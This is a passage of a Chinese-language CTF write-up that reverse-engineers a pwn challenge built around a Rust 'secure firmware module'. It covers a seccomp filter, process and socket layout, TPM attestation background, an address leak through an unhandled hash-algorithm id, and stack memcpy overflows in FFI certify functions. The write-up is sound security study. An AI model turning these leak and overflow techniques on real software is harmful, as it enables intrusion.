class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> line  CODE  JT   JF      K</span><br><span class="line">=================================</span><br><span class="line"> 0000: 0x20 0x00 0x00 0x00000004  A = arch</span><br><span class="line"> 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003</span><br><span class="line"> 0002: 0x06 0x00 0x00 0x00000000  return KILL</span><br><span class="line"> 0003: 0x20 0x00 0x00 0x00000000  A = sys_number</span><br><span class="line"> 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006</span><br><span class="line"> 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW</span><br><span class="line"> 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008</span><br><span class="line"> 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW</span><br><span class="line"> 0008: 0x15 0x00 0x01 0x0000002f  if (A != recvmsg) goto 0010</span><br><span class="line"> 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW</span><br><span class="line"> 0010: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0012</span><br><span class="line"> 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW</span><br><span class="line"> 0012: 0x06 0x00 0x00 0x00000000  return KILL</span><br></pre></td></tr></table></figure><p>这里可以看出，程序只允许了四个系统调用</p><ul><li>read</li><li>write</li><li>recvmsg</li><li>mummap</li></ul><p>一开始的时候有一个想法：我们能不能直接上传一个文件，然后直接ORW，结果仔细看，这里没有允许open存在，那看来这个binary本身是没办法了。只能尝试从<code>sfm</code>处突破<br>逆向到此处，我们需要对这个题目的输出输出流与运行状态稍作总结：</p><ul><li>最初的时候uploader与我们对接，而uploader启动了launcher，lancher启动了raw</li><li>此时我们的输入和输出会直接与launcher执行的raw对接</li><li>uploader创建了sfm进程，并且建立了socket通信，其中sock_server作为了sfm的stream</li><li>launcher接受了sock_client，并且将其拷贝为3，这个3继承给了raw</li><li>raw中使用3 fd与<code>SFM_FD</code>与<code>sfm</code>进行校验后，通过给<code>sfm</code>发送一个请求，重新将我们普通的数据输出流设定为1，2（与当前一致），然后进行通信</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">+----------+                  +-----------+                  +-----------+</span><br><span class="line">| launcher |                  |    raw    |                  |    sfm    |</span><br><span class="line">+----------+                  +-----------+                  +-----------+</span><br><span class="line">     |            input             |          sock_client         |</span><br><span class="line">     |       ---------------&gt;       |       ---------------&gt;       |</span><br><span class="line">     |                              |                              |</span><br><span class="line">     |            output            |          sock_server         |</span><br><span class="line">     |       &lt;---------------       |       &lt;---------------       |</span><br><span class="line">     |                              |                              |</span><br><span class="line">     |                              |                              |</span><br><span class="line">     |                              |                              |</span><br></pre></td></tr></table></figure><h3 id="raw">RAW</h3><p>这个RAW模块是一个作为例子的模块，<code>raw</code>与<code>sfm</code>的通信过程需要通过将<code>raw</code>逆向分析后，才能比较完整的理清楚这个过程。其中一个比较重的逻辑如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __usercall main_function@&lt;eax&gt;(<span class="type">int</span> sock_fd@&lt;edi&gt;, __int64 argument@&lt;rsi&gt;, <span class="type">int</span> std_fd@&lt;edx&gt;)</span><br><span class="line">&#123;</span><br><span class="line">  puts_((<span class="type">unsigned</span> <span class="type">int</span>)std_fd, <span class="string">&quot;Attested core booted...\n&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    LOWORD(buffer) = <span class="string">&#x27; #&#x27;</span>;</span><br><span class="line">    write(std_fd_1, (<span class="type">char</span> *)&amp;buffer, (<span class="type">int</span>)&amp;loc_1 + <span class="number">1</span>);</span><br><span class="line">    *(_DWORD *)&amp;input_buf[<span class="number">16</span>] = <span class="number">0</span>;</span><br><span class="line">    readline(std_fd, input_buf, <span class="number">20</span>i64);</span><br><span class="line">    result = strcmp__(input_buf, <span class="string">&quot;exit&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !result )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( !strcmp__(input_buf, <span class="string">&quot;identity&quot;</span>) )</span><br><span class="line">      identity(sock_fd, std_fd_1);</span><br><span class="line">    <span class="keyword">if</span> ( !strcmp__(input_buf, <span class="string">&quot;quote&quot;</span>) )</span><br><span class="line">      quote();</span><br><span class="line">    <span class="keyword">if</span> ( !strcmp__(input_buf, <span class="string">&quot;certify&quot;</span>) )</span><br><span class="line">      certify();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里会有两个fd，一个是和<code>sfm</code>通信的sock，另一个则是用来和当前的标准输入输出流进行通信。后文的一些通信格式可以从这个binary中逆向得到。</p><h3 id="sfm模块">SFM模块</h3><p>sfm模块是这个题目最关键的模块，这个模块会初始化一个<code>SFM(SecureFirewareModule)</code>模块，用于提供SFM的一些操作接口（也就是我们的主要漏洞点）。整个SFM模块主要逻辑基本上围绕着对我们创建的SFM对象的相关操作。</p><p>这个模块初始化的时候，首先会先模拟了使用一种叫做<code>(PCR)Platform Configuration Register</code>的认证方式</p><blockquote><p>这个认证方式源自于TPM（Trusted Platform Module）中，PCR表示一段存在TPM架构中的一段内存。通常情况下，被设定为安全软件和重要引导程序的程序会被计算其hash值，然后存放在这个PCR中。当不同的PCR关联到同一个hash库中的时候，会被认为叫做<code>bank</code>。每一个<code>bank</code>对应一种hash算法，一个PCR可以分配给多个bank。不同的软件可以使用不同的算法做测量，产生不同的摘要，这些摘要就会被扩展到对应的bank中。<br>在测量软件时，TPM仅仅用PCR来记录测量值。至于是否安全，这要到应用程序真正使用PCR用于policy授权的时候，或者是远程请求者请求一个签名认证（<code>quote</code>，引用）然后判定可信性。</p></blockquote><p>在这个题目中，根据我们的执行情况，可以推断出前文<code>raw</code>程序执行的时候，一定是通过了<code>PCRPolicy</code>的认证。通过逆向<code>raw</code>的逻辑，可以得知，<code>raw</code>通过验证的办法，就是通过将自己的binary发送了过去，所以这个地方的<code>PCRPolicy</code>其实计算的就是<code>trusted_firmware.raw</code>的hash。<em>这里其实模拟了一个认证绕过的问题，下文可以看到如何使用</em></p><p>接下来，程序给出了一些基本功能，包括</p><ul><li>(1) 获取当前证书信息</li><li>(2) 更新bank的信息</li><li>(3) 创建一个SFM对象，并且指定其认证方式</li><li>(4) 修改当前SFM对象的基本属性，需要通过认证</li><li>(5) 对当前SFM对象进行证书签名</li><li>(6) 对sfm对象进行认证</li><li>(7) 建立安全的通信连接</li></ul><p>其中，系统提供的<code>raw</code>在初始化的时候，会调用<code>（2）（7）</code>，成功执行后才能够让<code>raw</code>接受我们用户侧的输入，并且能够传递给<code>sfm</code>。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">get_firmware_data</span>(<span class="number">3</span>, <span class="number">1</span>i64, now_pc);</span><br><span class="line"><span class="keyword">if</span> ( <span class="built_in">establish_secure_io</span>() &lt; <span class="number">0</span> )</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"><span class="built_in">main_function</span>(<span class="number">3</span>, std_fds, <span class="built_in">SHIDWORD</span>(std_fds));</span><br></pre></td></tr></table></figure><p>允许使用的功能只有<code>(1) (5) (6)</code>，简单逆向后会发现，这几个功能在正常初始化下基本上没有什么功能。因为这几个程序都在操作<strong>sfm初始化时候正常初始化的模块</strong>。显然，我们需要尝试<strong>创建或者修改对应的模块</strong>才能出发漏洞。</p><p>根据Rust语言的特性，rust本身出现漏洞的情况少之又少，所以我们首先快速的过一遍所有的<code>unsafe</code>部分，可以看到在<code>sfm-sys</code>这个模块下，存在着一些C语言的外部函数:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="string">&quot;C&quot;</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">sfm_init_ek</span>() <span class="punctuation">-&gt;</span> *<span class="keyword">const</span> EvpPkeyRsa;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">sfm_get_public_key</span>(pkey: *<span class="keyword">const</span> EvpPkeyRsa,</span><br><span class="line">                          output: *<span class="keyword">mut</span> <span class="type">u8</span>) <span class="punctuation">-&gt;</span> c_int;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">sfm_attest_to_quote</span>(pkey: *<span class="keyword">const</span> EvpPkeyRsa,</span><br><span class="line">                           alg_id: <span class="type">u16</span>,</span><br><span class="line">                           banks: *<span class="keyword">const</span> [<span class="type">u8</span>; <span class="number">64</span>],</span><br><span class="line">                           num_banks: <span class="type">usize</span>,</span><br><span class="line">                           output: *<span class="keyword">mut</span> <span class="type">u8</span>) <span class="punctuation">-&gt;</span> c_int;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">sfm_certify_owner_record</span>(pkey: *<span class="keyword">const</span> EvpPkeyRsa,</span><br><span class="line">                   owner_name: *<span class="keyword">const</span> <span class="type">u8</span>,</span><br><span class="line">                   device_name: *<span class="keyword">const</span> <span class="type">u8</span>,</span><br><span class="line">                   serial: <span class="type">u64</span>,</span><br><span class="line">                   timestamp: <span class="type">u32</span>,</span><br><span class="line">                   output: *<span class="keyword">mut</span> <span class="type">u8</span>) <span class="punctuation">-&gt;</span> c_int;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">sfm_certify_key</span>(pkey: *<span class="keyword">const</span> EvpPkeyRsa,</span><br><span class="line">                       key_data: *<span class="keyword">const</span> <span class="type">u8</span>,</span><br><span class="line">                       output: *<span class="keyword">mut</span> <span class="type">u8</span>) <span class="punctuation">-&gt;</span> c_int;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">sfm_certify_nv_storage</span>(pkey: *<span class="keyword">const</span> EvpPkeyRsa,</span><br><span class="line">                              data: *<span class="keyword">const</span> <span class="type">u8</span>,</span><br><span class="line">                              data_len: <span class="type">usize</span>,</span><br><span class="line">                              output: *<span class="keyword">mut</span> <span class="type">u8</span>) <span class="punctuation">-&gt;</span> c_int;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这些外部函数很特别，首先题目中并没有给出他们的原型，其次是他们在被调用的时候，都有<code>unsafe</code>这个<code>label</code>存在，例如</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_public_key</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;&gt; &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">out_buf</span> = [<span class="number">0u8</span>; <span class="number">512</span>];</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">err</span> = <span class="keyword">unsafe</span> &#123;</span><br><span class="line">        <span class="title function_ invoke__">sfm_get_public_key</span>(<span class="keyword">self</span>.ek, out_buf.<span class="title function_ invoke__">as_mut_ptr</span>())</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> err != <span class="number">0</span> &#123;</span><br><span class="line">        <span class="literal">None</span></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="title function_ invoke__">Some</span>(out_buf.<span class="title function_ invoke__">to_vec</span>())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这些函数实现的内部仔细过了一遍，会发现有以下特征</p><ul><li>大部分都使用了<code>memcpy</code></li><li>结合程序传入参数和源码，可以得知这些函数都尝试将payload存放到栈上</li></ul><p>这里我们以上文的<code>get_public_key</code>为例子，首先这个程序中的<code>out_buf</code>为一个指定大小的数组，其次其通过调用了<code>.as_mut_ptr</code>将自己声明为了可变的指针。在反汇编中如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">_QWORD *__fastcall sfm_sys::SecureFirmwareModule::get_public_key(_QWORD *a1, __int64 *a2)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">void</span> *v2; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">void</span> *v3; <span class="comment">// r14</span></span><br><span class="line">  <span class="type">char</span> v5[<span class="number">536</span>]; <span class="comment">// [rsp+0h] [rbp-218h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(v5, <span class="number">0</span>, <span class="number">0x200</span>uLL);</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)sfm_get_public_key(*a2, v5) )</span><br><span class="line">  &#123;</span><br><span class="line">    a1[<span class="number">1</span>] = <span class="number">0LL</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    _rust_alloc();</span><br><span class="line">    <span class="keyword">if</span> ( !v2 )</span><br><span class="line">      alloc::alloc::handle_alloc_error::h07edb87aaab24c34();</span><br><span class="line">    v3 = v2;</span><br><span class="line">    <span class="built_in">memcpy</span>(v2, v5, <span class="number">0x200</span>uLL);</span><br><span class="line">    *a1 = <span class="number">512LL</span>;</span><br><span class="line">    a1[<span class="number">1</span>] = v3;</span><br><span class="line">    a1[<span class="number">2</span>] = <span class="number">512LL</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> a1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的<code>v5</code>就是上文的<code>out_buf</code>。</p><p>然后大致过了一遍所有的unsafe，会发现在<code>certify</code>和<code>attest</code>这个操作的时候，有可能会有一些异常行为。（因为剩下的unsafe包含的逻辑基本上是固定的了）</p><h4 id="attest-信息泄露">attest - 信息泄露</h4><blockquote><p>在TPM过程中，“attestation”（attest）是指证明一个系统或者设备的身份和完整性，确保它是可信的。这是通过TPM的一系列安全功能来实现的，包括数字签名、密钥管理和远程验证等机制。具体来说，TPM attestation过程中，系统或设备会向TPM发送请求，TPM会对其进行验证并生成一个证明（attestation），证明该系统或设备的身份和完整性。这个证明可以被其他系统或设备用来验证该系统或设备的可信性</p></blockquote><p>逆向<code>attest</code>操作，会发现里面有一个很简单就能发现的信息泄露:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[derive(Debug)]</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">enum</span> <span class="title class_">SfmHashAlgorithm</span> &#123;</span><br><span class="line">    HashAlgSha1   = <span class="number">0</span>,</span><br><span class="line">    HashAlgSha256 = <span class="number">1</span>,</span><br><span class="line">    HashAlgSha384 = <span class="number">2</span>,</span><br><span class="line">    HashAlgSha512 = <span class="number">3</span>,</span><br><span class="line">    HashAlgMax    = <span class="number">4</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">///</span></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">attest_quote</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>, cmd: WithTrailer&lt;SfmAttestQuote&gt;) <span class="punctuation">-&gt;</span> SfmResult&lt;<span class="type">bool</span>&gt; &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">alg</span> = cmd.alg_id;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> alg &gt; SfmHashAlgorithm::HashAlgMax <span class="keyword">as</span> <span class="type">u16</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_ invoke__">Err</span>(SfmError::InvalidAlgorithmType);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> <span class="variable">report</span> = <span class="keyword">self</span>.sfm.<span class="title function_ invoke__">attest</span>(alg, <span class="keyword">self</span>.banks.<span class="title function_ invoke__">to_vec</span>());</span><br><span class="line"></span><br><span class="line">        <span class="keyword">self</span>.stream.<span class="title function_ invoke__">write_all</span>(&amp;report.<span class="title function_ invoke__">ok_or</span>(SfmError::SfmInternalError)?[..])?;</span><br><span class="line">        <span class="title function_ invoke__">Ok</span>(<span class="literal">true</span>)</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>在入口位置，程序校验了<code>alg_id</code>是否为有效的hash算法，这个<code>HashAlgMax</code>值为4.而在内部函数调用的时候:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">result = <span class="title function_ invoke__">EVP_MD_CTX_new</span>();</span><br><span class="line">v9 = result;</span><br><span class="line"><span class="keyword">if</span> ( gid == <span class="number">2</span> )</span><br><span class="line">&#123;</span><br><span class="line">  v10 = <span class="title function_ invoke__">EVP_sha384</span>();</span><br><span class="line">  <span class="keyword">return</span> <span class="title function_ invoke__">sign_data</span>(a1, v9, v10, a3, a4, a5);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> ( gid &lt;= <span class="number">2</span> )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( gid )</span><br><span class="line">    v10 = <span class="title function_ invoke__">EVP_sha256</span>();</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    v10 = <span class="title function_ invoke__">EVP_sha1</span>();</span><br><span class="line">  <span class="keyword">return</span> <span class="title function_ invoke__">sign_data</span>(a1, v9, v10, a3, a4, a5);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> ( gid == <span class="number">3</span> )</span><br><span class="line">&#123;</span><br><span class="line">  v10 = <span class="title function_ invoke__">EVP_sha512</span>();</span><br><span class="line">  <span class="keyword">return</span> <span class="title function_ invoke__">sign_data</span>(a1, v9, v10, a3, a4, a5);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> result;</span><br></pre></td></tr></table></figure><p>这边值使用了<code>gid&lt;=3</code>的情况，忘记了处理<code>gid=4</code>。所以当我们构造的请求满足<code>gid=4</code>的时候，这里的<code>EVP_MD_CTX_new</code>就会返回一个地址，从而泄露一个lib库的地址。</p><h4 id="modify-堆操作">modify - 堆操作</h4><h5 id="nvstorage">NvStorage?</h5><p>在<code>certify</code>函数中，基本上都存在内存拷贝的问题，因此我们可以考虑创建或者修改对象来实现溢出。首先我们来看到创建的流程</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">create_object</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>, cmd: WithTrailer&lt;SfmCreateObject&gt;) <span class="punctuation">-&gt;</span> SfmResult&lt;<span class="type">bool</span>&gt; &#123;</span><br><span class="line">    <span class="comment">// first strip off the desired policy</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">policy_header</span> = SfmAuthorizationPolicy::<span class="title function_ invoke__">parse_with_trailer</span>(cmd.<span class="title function_ invoke__">get_trailer</span>())</span><br><span class="line">        .<span class="title function_ invoke__">ok_or</span>(SfmError::InvalidAuthPolicy)?;</span><br><span class="line">    <span class="comment">// skip some code..</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// create the object, return the id</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">object</span>: <span class="type">Option</span>&lt;SfmObject&gt; = <span class="keyword">match</span> cmd.<span class="title function_ invoke__">get_object_type</span>().<span class="title function_ invoke__">try_into</span>() &#123;</span><br><span class="line">        <span class="comment">// OwnershipRecord is not a creatable object type</span></span><br><span class="line">        <span class="title function_ invoke__">Ok</span>(SfmObjectType::OwnershipRecord) =&gt; <span class="literal">None</span>,</span><br><span class="line">        <span class="title function_ invoke__">Ok</span>(SfmObjectType::Key) =&gt; &#123;</span><br><span class="line">            <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">key_data</span> = [<span class="number">0u8</span>; <span class="number">32</span>];</span><br><span class="line">            rand::<span class="title function_ invoke__">thread_rng</span>().<span class="title function_ invoke__">fill_bytes</span>(&amp;<span class="keyword">mut</span> key_data);</span><br><span class="line">            <span class="title function_ invoke__">Some</span>(SfmObject::<span class="title function_ invoke__">Key</span>(Aes256Key &#123; key_data &#125; ))</span><br><span class="line">        &#125;,</span><br><span class="line">        <span class="title function_ invoke__">Ok</span>(SfmObjectType::NvStorage) =&gt; &#123;</span><br><span class="line">            <span class="keyword">let</span> <span class="variable">nv_storage_raw</span> = NvStorageRaw::<span class="title function_ invoke__">parse_with_trailer</span>(policy_header.<span class="title function_ invoke__">get_trailer</span>())</span><br><span class="line">                .<span class="title function_ invoke__">ok_or</span>(SfmError::<span class="title function_ invoke__">InvalidObjectValue</span>(SfmObjectType::NvStorage))?;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">let</span> <span class="variable">size</span> = nv_storage_raw.size <span class="keyword">as</span> <span class="type">usize</span>;</span><br><span class="line">            <span class="keyword">if</span> size &gt; <span class="number">1024</span> &#123;</span><br><span class="line">                <span class="title function_ invoke__">Err</span>(SfmError::<span class="title function_ invoke__">InvalidObjectValue</span>(SfmObjectType::NvStorage))?;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="title function_ invoke__">Some</span>(SfmObject::<span class="title function_ invoke__">NvStorage</span>(nv_storage_raw.<span class="title function_ invoke__">get_trailer</span>()[..size].<span class="title function_ invoke__">to_vec</span>()))</span><br><span class="line">        &#125;</span><br><span class="line">        _ =&gt; <span class="literal">None</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">response_id</span> = <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Some</span>(object) = object &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">object_with_policy</span> = ObjectStoreItem &#123;</span><br><span class="line">            policy: policy,</span><br><span class="line">            item: object</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">self</span>.object_store.<span class="title function_ invoke__">insert</span>(<span class="keyword">self</span>.last_object_id, object_with_policy);</span><br><span class="line">        <span class="keyword">self</span>.last_object_id.<span class="title function_ invoke__">checked_add</span>(<span class="number">1</span>).<span class="title function_ invoke__">expect</span>(<span class="string">&quot;Object ID count overflowed&quot;</span>);</span><br><span class="line">        <span class="keyword">self</span>.last_object_id - <span class="number">1</span></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="built_in">eprintln!</span>(<span class="string">&quot;Invalid object found&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_ invoke__">Err</span>(SfmError::<span class="title function_ invoke__">InvalidObjectType</span>(cmd.<span class="title function_ invoke__">get_object_type</span>()));</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里又要提一个细节：这边创建内存的时候，使用的是<code>parse_with_trailer</code>这个接口，这个接口的实现如下:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">JustBytes</span> &#123;</span><br><span class="line">    <span class="comment">/// parse and return a reference to the underlying data and the trailer</span></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">parse_with_trailer</span>(bytes: &amp;[<span class="type">u8</span>]) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;WithTrailer&lt;<span class="keyword">Self</span>&gt;&gt;</span><br><span class="line">        <span class="keyword">where</span> <span class="keyword">Self</span>: <span class="built_in">Sized</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/// construct a new copy of Self using `bytes` as a source</span></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">new_from_bytes</span>(bytes: &amp;[<span class="type">u8</span>]) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;<span class="keyword">Self</span>&gt;</span><br><span class="line">        <span class="keyword">where</span> <span class="keyword">Self</span>: <span class="built_in">Sized</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span>&lt;T: AsBytes + FromBytes&gt; JustBytes <span class="keyword">for</span> <span class="title class_">T</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">parse_with_trailer</span>(bytes: &amp;[<span class="type">u8</span>]) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;WithTrailer&lt;T&gt;&gt;</span><br><span class="line">      <span class="keyword">where</span> <span class="keyword">Self</span>: <span class="built_in">Sized</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">let</span> (content, trailer) = LayoutVerified::&lt;&amp;[<span class="type">u8</span>], <span class="keyword">Self</span>&gt;::<span class="title function_ invoke__">new_from_prefix</span>(bytes)?;</span><br><span class="line">        <span class="title function_ invoke__">Some</span>(WithTrailer::&lt;T&gt;&#123; inner: content.<span class="title function_ invoke__">into_ref</span>(), trailer &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">fn</span> <span class="title 